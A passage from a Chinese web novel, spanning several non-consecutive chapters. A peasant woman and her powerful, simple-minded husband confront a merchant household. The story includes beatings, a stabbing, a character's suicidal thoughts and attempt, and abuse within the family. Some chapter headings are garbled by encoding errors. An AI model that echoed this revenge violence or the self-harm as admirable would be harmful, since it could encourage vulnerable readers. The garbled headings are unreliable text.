她会游泳,可在岸边蹲的时间太长,腿本来就麻,掉进河里一紧张,腿就抽筋了,更糟糕的是,靠近岸边的水域水草较多,她的一只脚被水草给缠住了。 丑丫在水里扑腾,岸上将她推下水的人一脸怨毒:“你去死吧!你让我的日子不好过,你也别想活着!淹死你!” 王翠香蓬头垢面、衣裳褴褛,像一个疯婆子,脸色苍白憔悴,但是眼底的恶毒神色却一点都不少。 她脸上有不少的伤,有巴掌印,也有指甲的抓痕,看起来像是被男男女女围殴。 放完狠话,她便快速跑开了。 丑丫现在顾不得王翠香是跑是留,她在水中不停地扑腾,艰难的呼救。 这边动静太大,在不远处抓鱼的阿福回头便看到丑丫在水中挣扎,顿时脸都吓白了,丢了手里的叉子便向丑丫跑去。 好在他的速度够快,在丑丫即将脱力之时,他赶到了她身边,将她给捞上了岸。 阿福坐在地上,让丑丫躺在他腿上,紧紧的抱着她,还没从刚刚的恐惧中回神。 丑丫有些脱力,吐了好几口水出来,缓了一会儿后轻轻拍拍阿福紧抱住她的手:“阿福,别怕,我没事儿,我真的没事,不怕了啊。” 阿福抱她抱得更紧了,低沉的嗓音里都是恐惧和不安:“娘子不听话,吓阿福,阿福再也不去抓鱼了!” 绗?0绔?棣欒嵎琚寚璁わ紝鎷掍笉鎵胯 八字胡男人看到阿福那张脸,那日他一脚踹开门,踩断他的双腿,打掉他的牙的画面瞬间在脑海里鲜活起来,身体不由自主地颤抖。 他活了这么多年,最后悔的就是接了这单生意,对方说男人只是个傻子,他想,傻子好忽悠,要是敢反抗,他就打他一顿,肯定老实,这不就跟捡钱一样? 但是他哪儿知道,这傻子这么厉害! 阿福一把揪住他的衣领,将他给拎了起来,他长得修长高大,瘦小的八字胡男人在他手里就像一只毫无反抗能力的鸡仔。 不等男人说一句求饶的话,他的拳头已经迎上了他的脸。 那天打了他一拳,只打到了一边脸,脸肿胀得很不对称,现在一拳下去,他就能圆润饱满地肿起来了! 一拳接一拳,八字胡男人嘴里喷出血水,不过两拳之后,他就连求饶的力气都没有了。 院中的下人们看着这阵仗,都不约而同地抖起了双腿,有坚持不住的,直接腿软得摔在地上。 这男人好恐怖!要是那沙包大的拳头打在他们身上,他们不得立马一命呜呼! 到底是谁陷害了大小姐?怎么陷害了?让她这般动怒! 下人们开始互相打量观察,想找出陷害大小姐的人,这样的话他们就可以早点解脱了! 香荷混在人群中,紧张地捏紧了衣摆,见众人都在四处打量,她为了不暴露,也只能学着他们的样子,滥竽充数。 她没想到八字胡男人这么没用,不仅没把事情办成,还让他们查到了府里,更没想到,那傻子这么厉害,居然能抗住药效,还救了谢婉婉和丑八怪! 丑丫见阿福将人揍得差不多了,让他停了手,拿出帕子,细致地帮阿福擦去沾在手上的血迹。 八字胡男人此时就像一只死了的牲畜,瘫在地上一动不动,只有那不断起伏的胸口证明他还活着。 丑丫冷嗤一声:“现在愿意说了吗?” 八字胡男人听到这声音,眼角流出两行热泪,他错了,他不该认为活着比死了好,像现在这样生不如死的被折磨,他还不如死了算了! “说我说!” 再硬的嘴,只要拳头够硬,就能把它给撬开! 他已经爬不起来了,谢婉婉让下人们排成一列,挨个走上前,让他辨认。 下人们哆哆嗦嗦地挨个走上前,见八字胡男人对着他们摇摇头,瞬间如释重负,像是重新活过来了一般。 香荷见此情况,已经慌了,她磨蹭在队伍的最后面,心思千回百转,想着如何给自己开脱。 她强装镇定,给自己加油打气,不用担心,那日她和他是在巷子口接的头,当时天色已经暗了,他不一定能看清自己,等会儿要是他指认自己,她就一口否定不是她,是他认错了! 队伍越来越短了,很快就到了排在最后一个的香荷。 她站定在八字胡男人跟前,装得很淡定,八字胡仔细打量她的脸,之后视线向下移动,顿时眼睛瞪大,眼神里有了神采。 是她!就是她! 与此同时,谢夫人房中,她的贴身丫鬟向她禀报了谢婉婉院中的事情。 谢夫人听完,神色一变,但不见多慌张,她冷笑一声:“这小贱人是想让人供出我,然后在老爷跟前告状!” “你现在立马去办一件事,速度要快!” 她对着丫鬟耳语,吩咐着自己的计策,丫鬟听完,脸上露出一抹敬佩的神色,而谢夫人唇边依旧勾着美艳的笑,妩媚动人,但却像一朵食人花,美丽又致命。 八字胡男人看着香荷,激动地吱哇出声,但是脸太疼,说一句话都疼得抽气。 “是她!是她!” 香荷的脸色变得苍白一瞬,垂着的手也止不住地抖了抖,还是被认出来了! 她扑通一下跪在了地上,泪眼婆娑地看着谢婉婉:“小姐,奴婢不知道他为何要诬陷奴婢,奴婢根本没见过他,求小姐为奴婢做主!” 谢婉婉冷眼看着她,对于她所说的话,她并不信。 八字胡男人激动得眼睛都瞪大了,他没想到这女人会倒打一耙! 那日天色黑,虽然他没太看清她的脸,但是她一说话,他就确定了,就是她,绝对差不了! 谢婉婉不看香荷对着她泪眼汪汪的可怜模样,冷声道:“他既然能指认你,定然不会是空穴来风,万老八,你说说你的指认依据。” 万老八立马听话地开口:“她的身形和那日与我接头的人一模一样,刚才她说话,声音也和那日的人一模一样!” 他话音刚落,香荷就迫不及待地反驳:“身形相似,声音相似的人何其之多,你就凭这两点来指认我,分明就是在诬陷我!” “小姐!求您为奴婢做主,严惩这个诬陷奴婢的人!” 谢婉婉静静看着她表演,反问:“那你说,我该如何严惩他?” 香荷心中一喜,看来大小姐是相信了她的说法! 她看着万老八,眼神中闪过一抹杀意,但是脸上的表情却依旧是那副被人诬陷的委屈样。 “既然他如此喜欢诬陷人,小姐不如赐他拔舌之刑,这样他以后就再也不能信口雌黄了!” 万老八都要气笑了,若不是他两条腿断了,脸也被揍得太疼,他一定立马跳起来,把这狠毒的女人给打死! 被指认出来不承认就算了,居然还落井下石,想乘机搞死他! 没门儿! “臭娘们给老子闭嘴!谢小姐,小的之所以指认他,最主要的依据是,她右手书背上有一颗很大的痣,她给小的递钱袋子的时候,小的看清了!” 香荷闻言,身体一颤,瞬间如被抽了魂一般,眼神呆滞了好一会儿。 她没想到,她居然败在了一颗痣上! 她下意识地将手藏在了身后,谢婉婉身边的小慧见此,立马走过去,一把将她的手给扯了出来。 那只右手展现在众人面前,果真如万老八所说的那般,手背上有一颗足有红豆粒大小的黑痣。 “你还有什么好说的?” 谢婉婉冷眼注视着她,香荷这下子彻底慌乱得没了招数,跪在地上砰砰磕头。 绗?2绔?浣犱滑灏辨槸鎯虫潵楠楄阿搴滅殑閽憋紒 谢夫人伤心的垂下眼睑,那泪珠如同滚落的珍珠,一颗接一颗地滴落在桌面上,之后抬眸看向谢员外,那眼睛通红水润,看着愈发的我见犹怜。 她站起身,然后跪在了谢员外跟前,哭得可怜:“老爷,您休了妾身吧,妾身知道,婉婉她一直对我心有怨念,认为我破坏了您和姐姐的感情,她恨妾身,也对老爷您有了意见。” “妾身不想看你们父女感情破裂,变成互相怨恨的仇人,妾身现在就自请下堂,只求老爷能让渺渺和宏儿随妾身出府,他们是妾身的命,要是离开他们,妾身也不想活了。” 她掩面痛哭,跪在地上的模样大概所有男人见了都会心生怜惜,谢员外最吃她这一套,心疼地赶紧将她搀扶起来。 “说什么胡话,我怎么可能休了你,这事儿是谢婉婉胡闹,我帮你教训她!” 哄着娇妻时,他满面笑容,可看向谢婉婉这个亲生女儿时,表情却瞬间垮了下来。 “谢婉婉,你能耐了,居然还找人来诬陷你母亲!” 谢婉婉低着头凄凉的笑了一声,她想过她的父亲会偏心老妖婆,可是没想到,证据都摆在眼前了,他还能只因为那老妖婆掉几滴眼泪就颠倒是非! 她抬眸,眼眶里蓄满了泪水,两只眼睛猩红,蕴含着她所有的悲伤与失望,这一刻,对于这个亲生父亲的所有怨念爆发了。 “谢志平!你有眼睛吗?你有心吗?我是你的女儿,身上流着你的骨血,我被人陷害,差点背叛了我的朋友,失了清白,你有担心过我一瞬吗?” “甚至我将证据摆在你面前,你还能因为那妖妇的几句话、几滴狗尿就认为是我陷害她!你就是个睁眼瞎,没良心的狗东西,我娘当年看上你真是倒了八辈子血霉!” 她歇斯底里,泪染湿了一张小脸,此刻她就如同充满裂痕的一个瓷器,只要轻轻一触碰,就会碎裂一地。 谢员外没想到谢婉婉会直呼他的名字,还这般大逆不道地骂他,气得眼睛圆瞪,胸膛不断起伏,身上的怒气似乎要马上喷薄而出。 但谢婉婉的话还没停下,将心中藏匿多年的这些话说出来,她前所未有的畅快。 “谢志平,你以为你宠着的这个女人是什么好东西吗?她就是一个蛇蝎,迟早有一天,你会被她吃得骨头都不剩,还有你的好女儿,好儿子,都没有一个好东西,你等着吧,你的报应还在后面,你会被他们母子三人一点点搞垮,死不瞑目!” “你个孽障!老子杀了你!” 谢员外再也忍受不了,站起身,扬起手狠狠地朝着谢婉婉的脸上扇去。 丑丫和阿福见状,立马眼疾手快地上前,丑丫将谢婉婉拉向另一边,阿福则握住了谢员外的手腕。 阿福的力气很大,捏着他的手腕不断施力,谢员外疼得惨叫出声。 “你简直胆大包天,赶紧放开我!” 他疼得倾斜着身子,表情扭曲,但还不忘威胁人,阿福不仅没放,反而更用力了。 丑丫搀扶着谢婉婉,看她脆弱的样子,心里有些不好受。 她没有父母,所以一直羡慕有爹有娘的孩子,可是若她的爹像谢员外这般,她宁愿不要! 她冷眼看向谢员外,嗤笑道:“谢员外今天还真是让我开了眼,自己的女儿受了委屈,却还要护着陷害她的人,见过眼瞎的,还没见过你这般瞎的,就连心也是瞎的!” 谢员外的手被禁锢着,逃脱不了,现在又被人这般骂,愈发的怒了:“我算是明白谢婉婉为何会这么放肆了,感情是你们两个教唆的!” “你们两个一个丑,一个傻,不就是看上我谢府的钱吗?你们以为来闹上这么一通,我就会为了息事宁人给你们一笔银子来堵住你的嘴?” “想得美!老子要报官,让官府把你们给抓去严刑拷打,砍了你们的脑袋!” 谢志平认为他已经推测出了丑丫和阿福的目的,语气都盲目自信地嘚瑟起来。 若说他这个人还是挺能忍的,阿福那般捏着他的手,他居然还能一边喊疼一边放狠话。 阿福听到这话生气了,这个老头不仅坏,居然还骂他和娘子,不可原谅! 他想起了那天救娘子时,脑内冒出的调动内力的记忆,按照记忆,他将内力汇聚在手腕上,轻巧一用力,只听咔嚓一声,谢员外的手腕就骨折了! “啊!我的手!” 谢志平捂住自己的手,疼得额头上冒出冷汗,这下子再也骂不了人了,只捂着手腕惨叫。 谢夫人被这情况给吓到,看向阿福的眼神变了变,难怪谢婉婉能逃掉,这傻子不简单! 她哭哭啼啼地爬向谢员外,搂住他,满脸心疼:“老爷,你怎么样?别吓妾身啊!” 趁机装可怜这种事情,她最在行,都说患难见真情,当一个男人落难的时候,你只要对她展现无微不至的关心,他就会越发把你放在心上。 院中的下人们听到老爷的惨叫,都冲了进来,谢志平疼得发抖,怒道:“给我将他们抓起来!” 下人们听命,立马将阿福和丑丫给围了起来,谢婉婉见状,冲上前,展开双臂,将两人给护在身后。 “我看谁敢!谢志平,得罪你的人是我,放了我朋友,我随你处置!” 谢婉婉的心已经死了,谢志平对于她不再是父亲,而是仇人,和老妖婆一样的仇人! 谢员外听她一声一声“谢志平”地直呼自己的大名,气得昏了头脑:“把这个孽障也给我抓起来,乱棍打死!” 下人们见大小姐挡在前面,本来踌躇着不敢上前,但现在老爷发话了,他们不再犹豫,蜂拥而上要抓住三人。 丑丫握了一下阿福的手,眼神冷冷地盯着眼前的下人,沉声道:“阿福,动手吧,不用留情面!” 那个女人陷害她的阿福,现在又被谢志平诬陷谩骂,这口气她早就忍不下去了! 不管事后如何,现在动手打就完了,就算进大牢,现在也要先打够本! 绗?6绔?鎶婂績鍓滃嚭鏉ョ湅鐪嬫槸涓嶆槸榛戠殑 张夫人觉得自己骂得对极了,像这种不要脸上门讹钱的人,就应该狠狠地骂,再将他们乱棍打死,扔去乱葬岗喂野狗! 她正得意着,高傲地扬起头,下一秒却只觉得脸上剧烈一痛,一道巨大的力量袭上她的脸颊,她的灵魂仿佛也受到了撞击。 她被扇飞了出去,一头撞在柜子上,头破了,脸肿了,牙掉了! 人没昏过去,却目光呆滞,任何声音都发不出,被吓傻了。 而被吓傻的不仅是她,谢志平夫妻、张明泽,以及门外站着的一众下人。 阿福浑身都是暴戾的气息,一双眼猩红可怖,他使了内力,往张夫人的脸上重重扇了一巴掌。 可这一巴掌并不解气,体内仿佛有极大的怒气在乱窜,他控制不住,他想杀人,他要将这些骂他的娘子,要让他和娘子分开的人全都杀了! 他们骂娘子丑,说娘子是骗子,说娘子下贱,还骂他傻子,他都记得,他要还回去,让他们得到教训! 阿福的一巴掌可是用了内力,张夫人伤得不轻,噗一声吐出一大口血水,左侧边的牙都松动了,还吐出来了好几颗。 尽管有气、有惧,她却一句话都说不出,瘫在地上爬都爬不起来。 最先回过神来的还是她的贴身丫鬟,她惊叫一声,忙去扶倒在地上的夫人,而张明泽,早已经被阿福杀人的怒意吓得两腿发软,哆嗦着躲远,丝毫不顾自己老娘死活。 谢志平此时脑子都是懵的,张家夫人要是在他府上出了事,那他谢家怕是要灭门了! 他想不通,也不理解,他堂堂谢家愿意让他一个傻子入赘,他还有什么不满意的? 还有那丑八怪,就非得守着一个傻子过日子?拿一笔钱,买一间宅子,只要她有了钱,什么样的男人还不是招招手就来了? 而谢夫人,此时也脸色难看,她步步为营,走的每一步都有十足的把握,可现在,全毁在了这一丑一傻上! 她以为,傻子就是一个普普通通的傻子,不过是皮囊好看些罢了,可他每一次出手,都刷新她对傻子的认知。 而那丑丫头,不过是泥腿子村姑,那张脸更是让人看不下眼,这样的她,就应该唯唯诺诺、窝窝囊囊地过一辈子! 可是,她却是个烈性子,油盐不进,打架更是透着不要命的狠劲! 她现在后悔下手得太匆忙了,她应该先将他们调查清楚再下手,而不是听一个丫鬟的几句话就想当然地认为这两个人很好对付,香荷那贱婢该死! 张明泽躲在角落,手里抓着个托盘给自己壮胆,他不敢看自家老娘那张肿胀成猪头,还血糊糊的脸,多看两眼,他晚上会做噩梦的! 他对着门外带来的两个小厮吼道:“还愣着干嘛?给本少爷上!打死这个傻子!” 小厮们哪儿敢上啊,就他们身上这三两肉,还不够人家一脚踹呢! 那男人一巴掌就能把夫人给扇飞,他们要是被踹上一脚,不得命都没了! 张明泽使不动小厮,气得破口大骂,却见满身凶煞之气的阿福大步朝他走来,他吓得哭爹喊娘,想找躲的地方,可屋子里桌椅都砸得差不多了,哪里还有躲的地方。 “啊!你别过来!我有钱,我给你钱!” “娘!救命啊!” 阿福哪里会听他的话,他此时心中只有压抑不住的怒气,他可都记着,他刚才羞辱他,骂他是傻子! 他伸手一把扯住他,将他给扯了出来,谢志平都被这情况给吓得腿软了,张家可就这么一棵独苗,将他给打伤了,那可比把张夫人给打死还严重! 此刻他顾不得那么多了,冲上前就要救张明泽,大不了他被打一顿,卧床休养几天,但若是张明泽出事,张家动怒,那他的谢府就完了! 门外张府的小厮就算再怕死,此刻也不得不冲进来,要是他们看着少爷被打却不上前帮忙,就算他们不被傻子给打死,老爷也会砍了他们! 谢府其他院落的下人们都闻讯赶来了,院内又兵荒马乱地打了起来。 谢志平一边护着张明泽,一边对谢婉婉破口大骂:“孽障,这些都是你惹出来的事情,我怎么会有你这种女儿,你就是个讨债鬼,像你娘一样讨人厌!” “早知有今日,你刚出生我就应该把你给掐死,我这辈子最后悔的事情就是留着你这个孽障!” 骂声震耳欲聋,谢婉婉失望、气愤的表情逐渐麻木,身边乒乒乓乓的打斗声、下人们吃痛的惨叫声消失了,耳畔里只回荡着她的好父亲的骂声。 孽障,讨债鬼,她生来就是讨人嫌的,就连她的母亲也被他羞辱。 可为什么会闹到这个局面,明明不是她的错,明明她才是受害者! 一瞬间,她浑身的力气都仿佛被抽干了,神情呆滞麻木,没有了灵魂。 她好累啊,她想她娘了。 要不她去死吧,她死了,就解脱了。 她呆滞的神情有了片刻的清醒,毫无波澜和情绪的眸子定定的看着谢夫人,或许,她还可以拉一个垫背的,会发生这些事都是她在背后操作的,她该死! 想到这儿,她的神色突然癫狂起来,手摸上一片锋利的碎瓷片,不多做思考,便朝着老妖婆冲了过去。 她要将瓷片插入她的心脏,把她肮脏的血给放干,最好能把她的心给剜出来,她好看看她的心是不是黑的! 等将她杀了,她再撞向身后的柱子,只要一撞,脑袋一开花,她就可以去找娘了。 场面太混乱,没人注意到谢婉婉的异样,谢夫人正躲躲闪闪,以免自己被误伤,等感觉到有一个人影朝她扑来时,已经来不及了! 谢婉婉是抱着必死的决心冲上去的,力气很大,一下便把谢夫人撞倒在地上,然后她欺身而上,快准狠地朝她的心脏扎去。 谢夫人瞳孔一缩,巨大的惊惧下,她条件反射般伸手去挡,但谢婉婉力气太大,她的手被瓷片划破,也没能挡住她的杀意。 “去死吧!我要你给我陪葬!哈哈哈哈!” 谢婉婉已经彻底疯狂了,止不住的大笑起来,可眼眶的泪水却止也止不住。 噗呲一声,瓷片插进来谢夫人的胸口,血流了出来,糊了谢婉婉满手。 绗?7绔?鑸呰垍鏉ヤ簡 她的手上早就血淋淋了,被瓷片割伤的,现在又沾染上老妖婆的血,她只觉得胸口的压抑一瞬间彻底清空了。 谢夫人吃痛惨叫,那张温柔妩媚的脸此刻变得狰狞:“杀人了!杀人了!” 尖厉的惨叫将人的耳膜刺激得嗡嗡作响,处在混战中的众人都不由自主地看了过来,谢志平看到这情况,吓得魂都快没了。 “夫人!” 他大喊一声,此时再也顾不得什么张明泽,爬爬滚滚地向谢夫人跑来。 谢婉婉神色一厉,加重了手里的力道,把碎瓷片又往下插了半寸,但只可惜,瓷片终究不如匕首锋利,她没能如愿将老妖婆的心给剜出来。 见谢志平过来,她站起身,不带一丝犹豫便撞向了前方的柱子。 丑丫察觉她的意图,心神一颤,猛地冲过去要拦住她,她拽住了她的衣摆,使劲地往后拽。 但尽管如此,还是晚了一步,衣摆撕裂,谢婉婉撞在了柱子上,不过好在丑丫刚刚帮她缓冲了一部分撞击力,只将额头给撞出了一个大包,并不致命。 丑丫大大松了一口气,连忙跑过去将她给搀扶起来,她话里带了怒气:“你这是做什么,坏人还好好的活着,你就想这么死了?你这脑子是怎么想的?不够用的话就多吃点核桃补补!” 谢婉婉还没从刚刚的事情中缓过神来,等听丑丫将她臭骂一顿,她的魂也归位了,哇呜一声就哭了起来。 被谢志平骂出来的那些压抑悲愤在这一刻居然消散了许多,或许是刚刚离死亡太近,那一刻的恐惧让她觉得活着挺好的。 她像一个孩子一样放声地哭着,要把心中的所有委屈给哭出来,等哭过这一次,她就要好好活着! 谢府外的大街上,百姓们都凑成一堆一堆地看着贴得到处都是的纸张,他们交头接耳,谈论着谢家大小姐勾引傻子的新鲜事儿,乐此不疲。 与此同时,两个衣着华贵、玉树临风的中年男人骑马走在街上,见街上四处都贴有纸张,其中一个男人下了马,朝着墙边走去。 他撕下一张纸,等看清上面的内容时,神色顿时大变。 谢家大小姐,是他想的那个吗? 他拉住身边一个大娘,掏了一块碎银子,递给她,问道:“大娘,你们所说的这个谢家大小姐是谢员外谢志平府里的大小姐吗?” 大娘见眼前的男人一出手就是这么大块银子,笑得眼睛都睁不开,嘴却怎么也合不上,她将银子拿过,紧紧攥在手里,积极地回答问题。 “可不是嘛,我们这镇上有名望的谢府就那么一家,这谢家大小姐以前也没听别人怎么提起过她,没想到这一提啊,就是这么惊天动地的一件大事儿!” “估计是亲娘死了,后娘不好好教导吧,有了后娘就有了后爹,可怜喽” 林谦在大娘那句“亲娘死了”后就再也听不进其他,他眼神里满是悲痛,就连脸色也变得苍白。 他们的小妹,死了吗? 原来她这三年来一封家书都不曾给家里写过,是因为已经死了? 他的身体有些颤抖,眼眶里也有了泪意,他强忍了下来,听着大娘给他八卦谢府的事。 三年前,谢员外原配夫人刚过世不过三个月,谢员外就将养在外面的外室给扶正,而外室的一双儿女,年岁和谢家大小姐差不了多少 林谦听完这些,垂在身侧的手握紧,手背上青筋暴起,眼底浮现杀意,谢志平,他怎么敢! 他忍下怒气,又从怀中掏了一块银子,足有五两那么多:“再麻烦您一件事,把镇上贴的这些纸都给撕了,这是定钱,等您撕完,到福临客栈找我,我再给您五两银子。” “如果您再能帮谢家大小姐说一下话更好了,这些都谣言,不可轻信。” 大娘都乐懵了,这是天上掉馅饼?天大的馅饼! 她只要去撕几张纸,再帮忙说几句话就可以拿十两银子了? “好嘞!老爷您放心,我一定撕得干干净净,保证一张都不剩,要是听见别人嚼舌根,我就跟他们好好说道说道!” 大娘乐滋滋地拿着银子去撕纸张了,见人群还围在一起说三道四,立马手插腰,唾沫星子横飞。 “儿子彩礼钱攒够了吗?女儿有嫁妆了吗?爹娘的棺材本存好了吗?什么都没有还在这里胡说八道,闲不死你们!” “还不滚去干活挣钱,像你们这么懒,迟早有一天要饿死!你们怎么就知道人家谢大小姐像纸上写的这样勾引人家汉子了?你们听人家床底听见了,还是睡人家床上看见了?” 大娘的大嗓门一吼,周围人寂静无声,全都静默的大眼瞪小眼。 这是咋了?吃错药了?刚才不是看你说的听开心的吗?数你声音最大,现在说倒戈就倒戈了? 这边的事情林谦不再理会,重新翻身上了马,和二弟林谨朝着谢府的方向策马奔去。 林谦和林谨是谢婉婉亲娘林娴的大哥二哥,家在临安城,世代经商,家底殷实。 当年林娴与到临安做生意的谢志平情投意合,不顾家人反对,千里远嫁西南,嫁给当时不过一个游商的谢志平。 林父林母虽然恨女儿不争气,但是也不可能不认她,让她净身出户,还是给了丰厚的嫁妆。 自出嫁后,林家众人便再也没见过这个远嫁的女儿,只有偶尔的书信来往,可书信自三年前就断了,林家众人担心,两个哥哥不远千里来看望妹妹。 可没想到,还不曾踏进谢府,就听到了这么个晴天霹雳,他们的小妹死了,而外甥女,又遭如此谣言攻击。 两人朝谢府赶去,而此时的谢府,已经彻底鸡飞狗跳了。 谢夫人被捅了,谢志平声嘶力竭的叫人去叫大夫,下人们被打得浑身疼,一声一声呻吟着,只剩下几个丫鬟躲得远远的没被打,但此时也早已经被吓破了胆。 丑丫站在阿福跟前,给他整理一下因打斗而变得凌乱的发丝和衣裳,用自己的衣服给他擦他手上沾染上的血。 等阿福又变得整整齐齐,干干净净后,她牵起他的手,温柔一笑:“走吧,我们回家,阿福肯定肚子都饿了,回去给你做好吃的。” 绗?8绔?濂规浘缁忓ア鏈涜繃鐨勬6 阿福乖乖点头,将人给都揍了一遍,他的心情好了,不再像之前那般暴戾吓人。 两人牵着手,跨过地上歪七扭八躺着的下人,慢悠悠往外面走,今日来,他们本是想来要一个说法,想听一声道歉的,没想到却遇上这么一群不讲理的人。 打一顿也好,尽管没能听到谢夫人承认事情是她做的,但是也不算吃亏了。 谢婉婉呆坐在原地,见丑丫和阿福走了,她也慌忙站起来,喊住他们。 “带我走好不好?我不想留在这里了?” 今日闹成这种局面,她和谢志平夫妻的恩怨才刚开始,她不想留在血府,却又不知道该去哪里。 她在这个镇上,只有娘亲一个亲人,而娘亲也只有她一个亲人,如今娘亲不在了,她就像无根的浮萍,不知道该去何方。 丑丫驻足,回头看她,问道:“带你走可以,可我不会养你,你先想清楚,你能做什么?你能养活你自己吗?没有现在穿金戴银的生活,你能适应吗?” 谢婉婉毫不犹豫地点头:“能!与其待在这个冰冷的牢笼里锦衣玉食,我不如吃糠咽菜,我会写话本子,我会挣钱!” 她从地上又捡了一块碎瓷片,握在手里,走到谢志平面前。 谢志平正用他的手捂住妻子不断往外冒血的伤口,见她这模样,以为她是想要像捅妻子一样捅自己。 他慌乱起来,大声呵斥:“你要干什么,我是你父亲!你要弑父吗?” 谢婉婉冷笑:“弑父?为了你背上骂名,太不值!” 她抬手拔了自己头上的珠钗,发丝散乱下来,她抓住头发,用碎瓷片一下一下在发梢处割,发丝被她给割断。 “从今天开始,我谢婉婉随母姓,改姓林,与生父谢志平断绝父女关系,身体发肤受之父母,那我今日便与你割发断义,此后,生老病死各不相干!” 说完这一句话,她将手中的碎瓷片摔在了地上,转身,头也不回地朝着丑丫走去。 丑丫看着她笑了,她是个很有魄力的姑娘,只要她一直有这种势头,她将来一定会好起来。 至少会比她好,她识字,有文化,长得好看,不像她,就是一个又丑又土的乡野丫头,除了一条命,一颗胆,她什么都没有。 若不是遇上了阿福,她还是那个连饭都吃不饱的灾星、异类。 想到这儿,她更感激老天爷能让她阿福来到她身边了,有了他,她的生活才有了光彩。 三人走出了谢府,没有一个人敢拦他们,阿福凭一己之力掀翻了整个谢府,这种恐怖的实力,谢府的下人看了都腿打颤。 府门大大地打开,谢婉婉跨出那道门槛,看着秋高气爽的天色,深深吸了一口气。 从现在开始,她就是林婉婉了,与谢家再也没有一点关系! 马蹄声传来,吸引了三人注意,朝着声音的方向看去。 丑丫警惕起来,猜想会不会是谢府去请的救兵,但等马匹走近,才看清马背上是两个贵气的中年男人。 她不认识,也没见过,他们身上呈现出的贵气和风采与这个小镇格格不入,应该是两个外地人。 谢婉婉也看着那两个人,她明明没见过,却觉得他们也很熟悉,很亲切。 到了谢府门口,林谦和林谨扯住缰绳,跳下马,也看着谢婉婉,他们与谢婉婉的感觉是相同的。 虽然没见过这个外甥女,但是她和小妹小时候长得像极了,刚才远远地看着,他们还以为又看到了小妹,当年她出嫁前也是这般的亭亭玉立。 那一个瞬间,他们喜出望外,以为传言是假的,他们的小妹并没有死。 可也只开心了片刻,他们很快便想清楚了,那不可能是小妹,小妹如今也三十多岁了,怎么可能还像个十六七岁的小姑娘。 谢婉婉此时衣裳凌乱,披头散发,衣服上有血,额头肿了一个大包,看起来格外的狼狈。 林谦和林谨看着她这模样,心都抽疼起来,这是受了多大的委屈才变成这幅模样! 林谦忍不住,热泪盈眶,贵气逼人、俊朗的中年男人语气哽咽:“你是婉婉吗?我是你大舅舅,我来接你了。” “我是你二舅舅,二舅舅带你回家!” 林谨也是同样的情绪,第一次见外甥女,原以为是被宠着护着的小千金,却没想到会被欺成这样。 “舅舅?” 谢婉婉早已泪流满面,这就是娘亲念了一辈子的舅舅们吗? 娘亲说,她这辈子最对不起的就是父母和两个哥哥,是她不听话,是她让他们失望了,她没脸见他们。 所以,在她有记忆以来,只听娘亲时常提起那些她没见过的亲人,时常给他们写信,但却从来没带她去见过他们。 娘亲说两个哥哥最是宠她,小时候调皮捣蛋,被父母教训的时候,都是两个舅舅护着她。 提起他们的时候,娘亲的脸上总是带着笑,不再似往常愁着一张脸。 所以,舅舅们是来找娘亲了吗?是来接她了吗?她不是一个无父无母、没有依靠的孩子了吗? “舅舅!” 她哽咽着唤了一声,泪水决堤而出。 “哎!” 两个舅舅应着,也同样止不住悲伤。 丑丫看着三人相认的场面,很高兴,很欣慰,还有一点点羡慕。 老天爷就是这么的喜欢捉弄人,前一刻刚与生父断绝关系,以为就要无所皈依时,亲人就寻上门了。 这种心情大概是冰火两重天吧,被亲生父亲折磨得心如寒冰,如今有了亲人,心又热乎了起来,并且逐渐灼热。 丑丫觉得眼前的画面很熟悉,不是她经历过,而是她梦到过,奢望过,幻想过。 小时候被人欺负狠了,她打不过、反抗不了、讲不通道理,只能硬生生地受着。 等他们欺负够了,觉得无趣离场的时候,她独自缩在角落里舔舐伤口。 那时候她就幻想着,她被人欺负的时候,能有一个特别厉害的人出现,帮她打跑所有人,将她抱在怀里,说他是她的亲人,他来带他回家了。 幻想多了,她做梦也会梦到那种场景,梦里的她很高兴,开心地笑,最后把自己笑醒了,等醒来,她还是孑然一身,身边还是没有那个人出现。 想要再次入睡,能将梦给继续,既然现实中没有那个拯救她的人,那就让她做梦吧,至少梦里她有人要,她有人依靠。 绗?2绔?璋1織骞宠鎺愭濡诲瓙 谢夫人赵心柔躺在床上养伤,林婉婉下了狠手,她现在想动一下都扯得伤口疼痛不已。 林家兄弟来接林婉婉的事情她已经听说了,她恨得夜不能寐,差点将自己的牙也给咬碎了,那小贱人为什么运气那么好,明明这次她可以弄死她的! 都怪香荷那贱婢,即使已经让人将她给乱棍打死了,她还是觉得不解恨! 不过林婉婉走了也好,走了就没有人再叫她姨娘来膈应她,她的存在,时时刻刻都在提醒她不过是谢府的一个继室! 只要她走了,她就是风光无限的谢府夫人! 至于老爷,这次将事情闹这么大,他肯定会生自己的气,但是她不担心,只要她轻言软语说几句好话,再掉几滴眼泪卖一下惨,他绝对会原谅自己,这么多年,她都是这样过来的。 她心里盘算着这些,突然砰一声巨响,她的房门被人从外面踹开了,一阵浓烈的酒气冲了进来,她不适地皱了皱鼻子。 她直不起身,也翻不了身,直挺挺地躺着,看不清谢志平此时的模样,但闻道那酒味,她就知道,他肯定是借酒消愁了。 她压低自己的声音,让自己显得很柔弱,但语气里却还是充满关怀:“老爷,您喝酒了吗?喝酒伤身体,您有烦恼和妾身说,不要憋在心里,不管发生什么,妾身都会一直陪着您的。” 谢志平听着这话,心里五味杂陈,这要是以往,他听到她这么说,一定会觉得她温柔贴心,可是现在,他只觉得难受。 为什么他会觉得这关心很虚伪,就像她这个人,虚伪至极! 倘若她在林婉婉找证人来对峙的时候就能承认事情的确是她做的,他不会这么生气,只会觉得她是一时糊涂,他会想办法来解决问题。 可是她不仅不承认,还利用他对她的信任惹怒林婉婉和另外那两人,将事情给闹大,得罪了张府,得罪了林家! 他没说话,一步一步走到床前,低头看着床上躺着的美艳女人。 赵心柔此时也才看清他的模样,胡子拉碴,满眼的红血丝,要杀人一般的表情,她被吓了一跳,心里直打鼓,她没想到他会如此生气。 她不过是犯了点小错误,至于吗? 她还给他生了一儿一女呢,现在林婉婉走了,她的孩子就是他唯一的寄托,他一定不会对自己怎么样! 她镇定下来,苍白着一张脸,却微微地笑着,有种破碎的美感,她想开口说几句贴心安慰人的话,但还没等她开口,谢志平就像发疯一般掀开了她的被子。 他一手扯过她的手臂,不管她的胸口还有伤,直接将她给扯了起来。 “啊!老爷你要干嘛,快放开妾身,妾身的伤口疼!” 她疼得脸都扭曲了,若说刚才是在装虚弱,那她现在是真虚弱,她能感觉到伤口又裂开了,血在往外面流。 但谢志平根本不听,他没受伤的那只手捏住她的肩膀,使出来自己最大的力气,将赵心柔捏得肩膀生疼。 “为什么要骗我?把我当傻子耍很好玩吗?” 